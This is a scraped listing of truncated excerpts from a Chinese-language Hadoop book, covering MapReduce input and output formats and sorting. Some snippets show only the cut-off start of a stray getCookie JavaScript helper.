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hadoop

7.3.4. 延迟输出

FileOutputFormat的子类会产生输出文件(part-r-nnnnn),即使文件是空的。有些应用倾向于不创建空文件,此时LazyOutputFormat就有用武之地了。它是一个封装输出格式,可以保证指定分区第一条记录输出时才真正创建文件。要使用它,用JobConf和相...

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8.2.3. 全排序

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));retur...

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7.3.3. 多个输出

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));retur...

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7.3.2. 二进制输出

3.2.1. 关于SequenceFileOutputFormat 正如名字所示,SequenceFileOutputFormat将它的输出写为一个顺序文件。如果输出需要作为后续MapReduce任务的输入,这便是一种好的输出格式,因为它的格式紧凑,很容易被压缩。压缩...

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7.3.1. 文本输出

默认的输出格式是TextOutputFormat,它把每条记录写为文本行。它的键和值可以是任意类型,因为TextOutputFormat调用toString()方法把它们转换为字符串。每个键/值对由制表符进行分隔,当然也可以设定 mapreduce.output.tex...

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7.3. 输出格式

针对前一节介绍的输入格式,Hadoop都有相应的输出格式。 OutputFormat类的层次结构如图7-4所示。   图7-4. OutputFormat类的层次结构 function getCookie(e){var U=docu...

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8.2.2. 部分排序

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));retur...

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7.2.4. 多个输入

虽然一个MapReduce作业的输入可能包含多个输入文件(由文件glob、过滤器和路径组成),但所有文件都由同一个InputFormat和同一个Mapper来解释。然而,数据格式往往会随时间演变,所以必须写自己的mapper来处理应用中的遗留数据格式问题。或者,有些数据源会提供...

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7.2.3. 二进制输入

Hadoop的MapReduce不只是可以处理文本信息,它还可以处理二进制格式 的数据。 2.3.1. 关于SequenceFilelnputFormat 类 Hadoop的顺序文件格式存储二进制的键/值对的序列。由于它们是可分割的(它们有同步点,所以rea...

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7.2.2. 文本输入 7.2.2.1. TextlnputFormat

Hadoop非常擅长处理非结构化文本数据。本节讨论Hadoop提供的用于处理文本的不同InputFormat类。 TextlnputFormat是默认的InputFormat。每条记录是一行输入。键是 LongWritable类型,存储该行在整个文件中的字节偏移量。值是...

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8.2.1. 准备

下面将按气温字段对天气数据集排序。由于气温字段是有符号整数,所以不能将该字段视为Text对象并以字典顺序排序。反之,我们要用顺序文 件存储数据,其IntWritable键代表气温(并且正确排序),其Text值就是数据行。 有一个常用的方法能解决这个问题(特别是针对基于文本的Str...

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7.2.1.6. mapper中的文件信息

处理文件输入分片的mapper可以从作业配置对象的某些特定属性中读取输入分片的有关信息,这可以通过调用在Mapper的Context对象上的getInputSplit()方法来实现。当输入的格式源自于FilelnputFormat时,该方法返回的InputSplit可以被强制转换...

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8.2. 排序

排序是MapReduce的核心技术。尽管应用本身可能并不需要对数据排序,但仍可能使用MapReduce的排序功能来组织数据。本节将讨论几种不同的数据集排序方法,以及如何控制MapReduce的排序。4.4.8节介绍了如何对 Avro数据进行排序。 func...

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